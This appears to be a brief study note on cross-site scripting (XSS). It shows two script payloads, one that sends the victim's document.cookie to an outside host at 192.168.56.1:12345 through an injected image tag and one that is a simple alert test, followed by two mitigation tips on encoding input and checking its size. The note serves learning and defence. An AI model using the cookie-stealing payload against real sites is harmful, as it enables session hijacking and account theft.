Cross-Site Scripting (XSS)

<script>
document.write('<img src="http://192.168.56.1:12345/');
document.write(document.cookie);
document.write('">');
</script>

<script>alert("hi");</script>

Sanitize input by encoding in HTML e.g. < is &lt;
Check size of input on server side.